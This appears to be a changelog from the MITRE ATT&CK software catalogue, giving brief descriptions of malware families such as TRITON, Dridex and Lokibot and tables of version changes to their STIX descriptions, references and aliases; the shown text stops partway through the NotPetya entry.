Description: [TRITON](https://attack.mitre.org/software/S0609) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. [TRITON](https://attack.mitre.org/software/S0609) was deployed against at least one target in the Middle East. (Citation: FireEye TRITON 2017)(Citation: FireEye TRITON 2018)(Citation: Dragos TRISIS)(Citation: CISA HatMan)(Citation: FireEye TEMP.Veles 2018)
Current version: 1.1
Description: [ThiefQuest](https://attack.mitre.org/software/S0595) is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. [ThiefQuest](https://attack.mitre.org/software/S0595) was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links.(Citation: Reed thiefquest fake ransom) Even though [ThiefQuest](https://attack.mitre.org/software/S0595) presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)
Current version: 1.0
Description: [Turian](https://attack.mitre.org/software/S0647) is a backdoor that has been used by [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, [Turian](https://attack.mitre.org/software/S0647) is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.(Citation: ESET BackdoorDiplomacy Jun 2021)
Current version: 1.0
Description: [VaporRage](https://attack.mitre.org/software/S0636) is a shellcode downloader that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)
Current version: 1.0
Description: [WastedLocker](https://attack.mitre.org/software/S0612) is a ransomware family attributed to [Indrik Spider](https://attack.mitre.org/groups/G0119) that has been used since at least May 2020. [WastedLocker](https://attack.mitre.org/software/S0612) has been used against a broad variety of sectors, including manufacturing, information technology, and media.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020)
Current version: 1.0
Description: [Waterbear](https://attack.mitre.org/software/S0579) is modular malware attributed to [BlackTech](https://attack.mitre.org/groups/G0098) that has been used primarily for lateral movement, decrypting, and triggering payloads and is capable of hiding network behaviors.(Citation: Trend Micro Waterbear December 2019)
Current version: 1.0
Description: [Wevtutil](https://attack.mitre.org/software/S0645) is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.(Citation: Wevtutil Microsoft Documentation)
Current version: 1.0
Description: [XCSSET](https://attack.mitre.org/software/S0658) is a macOS modular backdoor that targets Xcode application developers. [XCSSET](https://attack.mitre.org/software/S0658) was first observed in August 2020 and has been used to install a backdoor component, modify browser applications, conduct collection, and provide ransomware-like encryption capabilities.(Citation: trendmicro xcsset xcode project 2020)
Current version: 1.0
Description: [xCaon](https://attack.mitre.org/software/S0653) is an HTTP variant of the [BoxCaon](https://attack.mitre.org/software/S0651) malware family that has used by [IndigoZebra](https://attack.mitre.org/groups/G0136) since at least 2014. [xCaon](https://attack.mitre.org/software/S0653) has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Astaroth](https://attack.mitre.org/software/S0373) is a Tro | t | 1 | [Astaroth](https://attack.mitre.org/software/S0373) is a Tro |
| > | jan and information stealer known to affect companies in Eur | > | jan and information stealer known to affect companies in Eur | ||
| > | ope and Brazil. It has been known publicly since at least la | > | ope, Brazil, and throughout Latin America. It has been known | ||
| > | te 2017. (Citation: Cybereason Astaroth Feb 2019) (Citation: | > | publicly since at least late 2017. (Citation: Cybereason As | ||
| > | Cofense Astaroth Sept 2018) | > | taroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citat | ||
| > | ion: Securelist Brazilian Banking Malware July 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:38:54.935000+00:00 | 2020-12-08 21:14:48.861000+00:00 |
| description | [Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe and Brazil. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019) (Citation: Cofense Astaroth Sept 2018) | [Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020) |
| external_references[1]['source_name'] | Cybereason Astaroth Feb 2019 | Guildma |
| external_references[1]['description'] | Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019. | (Citation: Securelist Brazilian Banking Malware July 2020) |
| external_references[2]['source_name'] | Cofense Astaroth Sept 2018 | Cybereason Astaroth Feb 2019 |
| external_references[2]['description'] | Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019. | Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019. |
| external_references[2]['url'] | https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/ | https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Cofense Astaroth Sept 2018', 'description': 'Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.', 'url': 'https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/'} | |
| external_references | {'source_name': 'Securelist Brazilian Banking Malware July 2020', 'description': 'GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.', 'url': 'https://securelist.com/the-tetrade-brazilian-banking-malware/97779/'} | |
| x_mitre_aliases | Guildma |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Bandook](https://attack.mitre.org/software/S0234) is a comm | t | 1 | [Bandook](https://attack.mitre.org/software/S0234) is a comm |
| > | ercially available RAT, written in Delphi, which has been av | > | ercially available RAT, written in Delphi and C++, that has | ||
| > | ailable since roughly 2007 (Citation: EFF Manul Aug 2016) ( | > | been available since at least 2007. It has been used against | ||
| > | Citation: Lookout Dark Caracal Jan 2018). | > | government, financial, energy, healthcare, education, IT, a | ||
| > | nd legal organizations in the US, South America, Europe, and | ||||
| > | Southeast Asia. [Bandook](https://attack.mitre.org/software | ||||
| > | /S0234) has been used by [Dark Caracal](https://attack.mitre | ||||
| > | .org/groups/G0070), as well as in a separate campaign referr | ||||
| > | ed to as "Operation Manul".(Citation: EFF Manul Aug 2016)(Ci | ||||
| > | tation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint | ||||
| > | Bandook Nov 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:08:51.834000+00:00 | 2021-10-11 19:42:14.066000+00:00 |
| description | [Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi, which has been available since roughly 2007 (Citation: EFF Manul Aug 2016) (Citation: Lookout Dark Caracal Jan 2018). | [Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. [Bandook](https://attack.mitre.org/software/S0234) has been used by [Dark Caracal](https://attack.mitre.org/groups/G0070), as well as in a separate campaign referred to as "Operation Manul".(Citation: EFF Manul Aug 2016)(Citation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint Bandook Nov 2020) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CheckPoint Bandook Nov 2020', 'description': 'Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021.', 'url': 'https://research.checkpoint.com/2020/bandook-signed-delivered/'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dok](https://attack.mitre.org/software/S0281) steals bankin | t | 1 | [Dok](https://attack.mitre.org/software/S0281) is a Trojan a |
| > | g information through man-in-the-middle (Citation: objsee m | > | pplication disguised as a .zip file that is able to collect | ||
| > | ac malware 2017). | > | user credentials and install a malicious proxy server to red | ||
| > | irect a user's network traffic (i.e. [Adversary-in-the-Middl | ||||
| > | e](https://attack.mitre.org/techniques/T1557)).(Citation: ob | ||||
| > | jsee mac malware 2017)(Citation: hexed osx.dok analysis 2019 | ||||
| > | )(Citation: CheckPoint Dok) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 19:08:28.695000+00:00 | 2021-10-12 11:26:16.316000+00:00 |
| description | [Dok](https://attack.mitre.org/software/S0281) steals banking information through man-in-the-middle (Citation: objsee mac malware 2017). | [Dok](https://attack.mitre.org/software/S0281) is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user's network traffic (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)).(Citation: objsee mac malware 2017)(Citation: hexed osx.dok analysis 2019)(Citation: CheckPoint Dok) |
| external_references[1]['description'] | (Citation: objsee mac malware 2017). | (Citation: objsee mac malware 2017) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'hexed osx.dok analysis 2019', 'description': 'fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021.', 'url': 'http://www.hexed.in/2019/07/osxdok-analysis.html'} | |
| external_references | {'source_name': 'CheckPoint Dok', 'description': 'Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.', 'url': 'https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dridex](https://attack.mitre.org/software/S0384) is a banki | t | 1 | [Dridex](https://attack.mitre.org/software/S0384) is a proli |
| > | ng Trojan that has been used for financial gain. Dridex was | > | fic banking Trojan that first appeared in 2014. By December | ||
| > | created from the source code of the Bugat banking trojan (al | > | 2019, the US Treasury estimated [Dridex](https://attack.mitr | ||
| > | so known as Cridex).(Citation: Dell Dridex Oct 2015)(Citatio | > | e.org/software/S0384) had infected computers in hundreds of | ||
| > | n: Kaspersky Dridex May 2017) | > | banks and financial institutions in over 40 countries, leadi | ||
| > | ng to more than $100 million in theft. [Dridex](https://atta | ||||
| > | ck.mitre.org/software/S0384) was created from the source cod | ||||
| > | e of the Bugat banking Trojan (also known as Cridex).(Citati | ||||
| > | on: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 201 | ||||
| > | 7)(Citation: Treasury EvilCorp Dec 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Daniyal Naeem, BT Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:20:01.787000+00:00 | 2021-10-01 20:30:30.043000+00:00 |
| description | [Dridex](https://attack.mitre.org/software/S0384) is a banking Trojan that has been used for financial gain. Dridex was created from the source code of the Bugat banking trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017) | [Dridex](https://attack.mitre.org/software/S0384) is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated [Dridex](https://attack.mitre.org/software/S0384) had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. [Dridex](https://attack.mitre.org/software/S0384) was created from the source code of the Bugat banking Trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Treasury EvilCorp Dec 2019) |
| external_references[1]['source_name'] | Bugat v5 | Dridex |
| external_references[1]['description'] | (Citation: Dell Dridex Oct 2015) | (Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Checkpoint Dridex Jan 2021) |
| external_references[2]['source_name'] | Dell Dridex Oct 2015 | Bugat v5 |
| external_references[2]['description'] | Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019. | (Citation: Dell Dridex Oct 2015) |
| external_references[3]['source_name'] | Kaspersky Dridex May 2017 | Dell Dridex Oct 2015 |
| external_references[3]['description'] | Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019. | Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019. |
| external_references[3]['url'] | https://securelist.com/dridex-a-history-of-evolution/78531/ | https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Kaspersky Dridex May 2017', 'description': 'Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.', 'url': 'https://securelist.com/dridex-a-history-of-evolution/78531/'} | |
| external_references | {'source_name': 'Treasury EvilCorp Dec 2019', 'description': 'U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.', 'url': 'https://home.treasury.gov/news/press-releases/sm845'} | |
| external_references | {'source_name': 'Checkpoint Dridex Jan 2021', 'description': 'Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.', 'url': 'https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Lokibot](https://attack.mitre.org/software/S0447) is a malw | t | 1 | [Lokibot](https://attack.mitre.org/software/S0447) is a wide |
| > | are designed to collect credentials and security tokens from | > | ly distributed information stealer that was first reported i | ||
| > | an infected machine. [Lokibot](https://attack.mitre.org/sof | > | n 2015. It is designed to steal sensitive information such a | ||
| > | tware/S0447) has also been used to establish backdoors in en | > | s usernames, passwords, cryptocurrency wallets, and other cr | ||
| > | terprise environments.(Citation: Infoblox Lokibot January 20 | > | edentials. [Lokibot](https://attack.mitre.org/software/S0447 | ||
| > | 19)(Citation: Morphisec Lokibot April 2020) | > | ) can also create a backdoor into infected systems to allow | ||
| > | an attacker to install additional payloads.(Citation: Infobl | ||||
| > | ox Lokibot January 2019)(Citation: Morphisec Lokibot April 2 | ||||
| > | 020)(Citation: CISA Lokibot September 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Daniyal Naeem, BT Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-18 22:00:40.499000+00:00 | 2021-10-11 17:43:38.029000+00:00 |
| description | [Lokibot](https://attack.mitre.org/software/S0447) is a malware designed to collect credentials and security tokens from an infected machine. [Lokibot](https://attack.mitre.org/software/S0447) has also been used to establish backdoors in enterprise environments.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020) | [Lokibot](https://attack.mitre.org/software/S0447) is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. [Lokibot](https://attack.mitre.org/software/S0447) can also create a backdoor into infected systems to allow an attacker to install additional payloads.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: CISA Lokibot September 2020) |
| external_references[1]['source_name'] | Infoblox Lokibot January 2019 | Lokibot |
| external_references[1]['description'] | Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020. | (Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: Talos Lokibot Jan 2021) |
| external_references[2]['source_name'] | Morphisec Lokibot April 2020 | Infoblox Lokibot January 2019 |
| external_references[2]['description'] | Cheruku, H. (2020, April 15). LOKIBOT WITH AUTOIT OBFUSCATOR + FRENCHY SHELLCODE. Retrieved May 14, 2020. | Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020. |
| external_references[2]['url'] | https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode | https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22 |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Morphisec Lokibot April 2020', 'description': 'Cheruku, H. (2020, April 15). LOKIBOT WITH AUTOIT OBFUSCATOR + FRENCHY SHELLCODE. Retrieved May 14, 2020.', 'url': 'https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode'} | |
| external_references | {'source_name': 'CISA Lokibot September 2020', 'description': 'DHS/CISA. (2020, September 22). Alert (AA20-266A) LokiBot Malware . Retrieved September 15, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa20-266a'} | |
| external_references | {'source_name': 'Talos Lokibot Jan 2021', 'description': 'Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021.', 'url': 'https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Machete](https://attack.mitre.org/software/S0409) is a cybe | t | 1 | [Machete](https://attack.mitre.org/software/S0409) is a cybe |
| > | r espionage toolset developed by a Spanish-speaking group kn | > | r espionage toolset used by [Machete](https://attack.mitre.o | ||
| > | own as El [Machete](https://attack.mitre.org/groups/G0095). | > | rg/groups/G0095). It is a Python-based backdoor targeting Wi | ||
| > | It is a Python-based backdoor targeting Windows machines, an | > | ndows machines that was first observed in 2010.(Citation: ES | ||
| > | d it was first observed in 2010.(Citation: ESET Machete July | > | ET Machete July 2019)(Citation: Securelist Machete Aug 2014) | ||
| > | 2019)(Citation: Securelist Machete Aug 2014) | > | (Citation: 360 Machete Sep 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:56:50.734000+00:00 | 2021-04-12 03:16:03.258000+00:00 |
| description | [Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset developed by a Spanish-speaking group known as El [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines, and it was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014) | [Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset used by [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines that was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: 360 Machete Sep 2020) |
| external_references[2]['source_name'] | ESET Machete July 2019 | Pyark |
| external_references[2]['description'] | ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019. | (Citation: 360 Machete Sep 2020) |
| external_references[3]['source_name'] | Securelist Machete Aug 2014 | ESET Machete July 2019 |
| external_references[3]['description'] | Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019. | ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019. |
| external_references[3]['url'] | https://securelist.com/el-machete/66108/ | https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Securelist Machete Aug 2014', 'description': 'Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.', 'url': 'https://securelist.com/el-machete/66108/'} | |
| external_references | {'source_name': '360 Machete Sep 2020', 'description': 'kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020.', 'url': 'https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/'} | |
| x_mitre_aliases | Pyark |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Matroyshka](https://attack.mitre.org/software/S0167) is a m | t | 1 | [Matryoshka](https://attack.mitre.org/software/S0167) is a m |
| > | alware framework used by [CopyKittens](https://attack.mitre. | > | alware framework used by [CopyKittens](https://attack.mitre. | ||
| > | org/groups/G0052) that consists of a dropper, loader, and RA | > | org/groups/G0052) that consists of a dropper, loader, and RA | ||
| > | T. It has multiple versions; v1 was seen in the wild from Ju | > | T. It has multiple versions; v1 was seen in the wild from Ju | ||
| > | ly 2016 until January 2017. v2 has fewer commands and other | > | ly 2016 until January 2017. v2 has fewer commands and other | ||
| > | minor differences. (Citation: ClearSky Wilted Tulip July 201 | > | minor differences. (Citation: ClearSky Wilted Tulip July 201 | ||
| > | 7) (Citation: CopyKittens Nov 2015) | > | 7) (Citation: CopyKittens Nov 2015) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:02:21.114000+00:00 | 2021-04-23 20:13:32.050000+00:00 |
| name | Matroyshka | Matryoshka |
| description | [Matroyshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015) | [Matryoshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015) |
| external_references[1]['source_name'] | Matroyshka | Matryoshka |
| x_mitre_aliases[0] | Matroyshka | Matryoshka |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Metamorfo](https://attack.mitre.org/software/S0455) is a ba | t | 1 | [Metamorfo](https://attack.mitre.org/software/S0455) is a La |
| > | nking trojan operated by a Brazilian cybercrime group that h | > | tin-American banking trojan operated by a Brazilian cybercri | ||
| > | as been active since at least April 2018. The group focuses | > | me group that has been active since at least April 2018. The | ||
| > | on targeting mostly Brazilian users.(Citation: Medium Metamo | > | group focuses on targeting banks and cryptocurrency service | ||
| > | rfo Apr 2020) | > | s in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020) | ||
| > | (Citation: ESET Casbaneiro Oct 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 01:34:57.793000+00:00 | 2021-09-27 19:32:33.491000+00:00 |
| description | [Metamorfo](https://attack.mitre.org/software/S0455) is a banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting mostly Brazilian users.(Citation: Medium Metamorfo Apr 2020) | [Metamorfo](https://attack.mitre.org/software/S0455) is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) |
| external_references[1]['description'] | (Citation: Medium Metamorfo Apr 2020) | (Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) |
| external_references[2]['source_name'] | Medium Metamorfo Apr 2020 | Casbaneiro |
| external_references[2]['description'] | Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020. | (Citation: ESET Casbaneiro Oct 2019) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Medium Metamorfo Apr 2020', 'description': 'Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.', 'url': 'https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767'} | |
| external_references | {'source_name': 'ESET Casbaneiro Oct 2019', 'description': 'ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.', 'url': 'https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/'} | |
| x_mitre_aliases | Casbaneiro | |
| x_mitre_contributors | Jose Luis Sánchez Martinez |
Current version: 3.0
Version changed from: 2.1 → 3.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:06:07.337000+00:00 | 2021-04-23 19:15:17.339000+00:00 |
| external_references[1]['description'] | (Citation: Talos Cobalt Group July 2018) | (Citation: Talos Cobalt Group July 2018)(Citation: ESET EvilNum July 2020) |
| external_references[2]['source_name'] | Terra Loader | SKID |
| external_references[2]['description'] | (Citation: Security Intelligence More Eggs Aug 2019)(Citation: Visa FIN6 Feb 2019) | (Citation: Crowdstrike GTR2020 Mar 2020) |
| external_references[3]['source_name'] | SpicyOmelette | Terra Loader |
| external_references[3]['description'] | (Citation: Security Intelligence More Eggs Aug 2019) | (Citation: Security Intelligence More Eggs Aug 2019)(Citation: Visa FIN6 Feb 2019) |
| external_references[4]['source_name'] | Talos Cobalt Group July 2018 | SpicyOmelette |
| external_references[4]['description'] | Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. | (Citation: Security Intelligence More Eggs Aug 2019) |
| external_references[5]['source_name'] | Security Intelligence More Eggs Aug 2019 | Talos Cobalt Group July 2018 |
| external_references[5]['description'] | Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019. | Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. |
| external_references[5]['url'] | https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/ | https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html |
| external_references[6]['source_name'] | Visa FIN6 Feb 2019 | Security Intelligence More Eggs Aug 2019 |
| external_references[6]['description'] | Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019. | Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019. |
| external_references[6]['url'] | https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf | https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/ |
| x_mitre_version | 2.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET EvilNum July 2020', 'description': 'Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021.', 'url': 'https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/'} | |
| external_references | {'source_name': 'Crowdstrike GTR2020 Mar 2020', 'description': 'Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf'} | |
| external_references | {'source_name': 'Visa FIN6 Feb 2019', 'description': 'Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.', 'url': 'https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf'} | |
| x_mitre_aliases | SKID |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [NotPetya](https://attack.mitre.org/software/S0368) is malwa | t | 1 | [NotPetya](https://attack.mitre.org/software/S0368) is malwa |
| > | re that was first seen in a worldwide attack starting on Jun | > | re that was used by [Sandworm Team](https://attack.mitre.org | ||
| > | e 27, 2017. The main purpose of the malware appeared to be t | > | /groups/G0034) in a worldwide attack starting on June 27, 20 | ||
| > | o effectively destroy data and disk structures on compromise | > | 17. While [NotPetya](https://attack.mitre.org/software/S0368 | ||
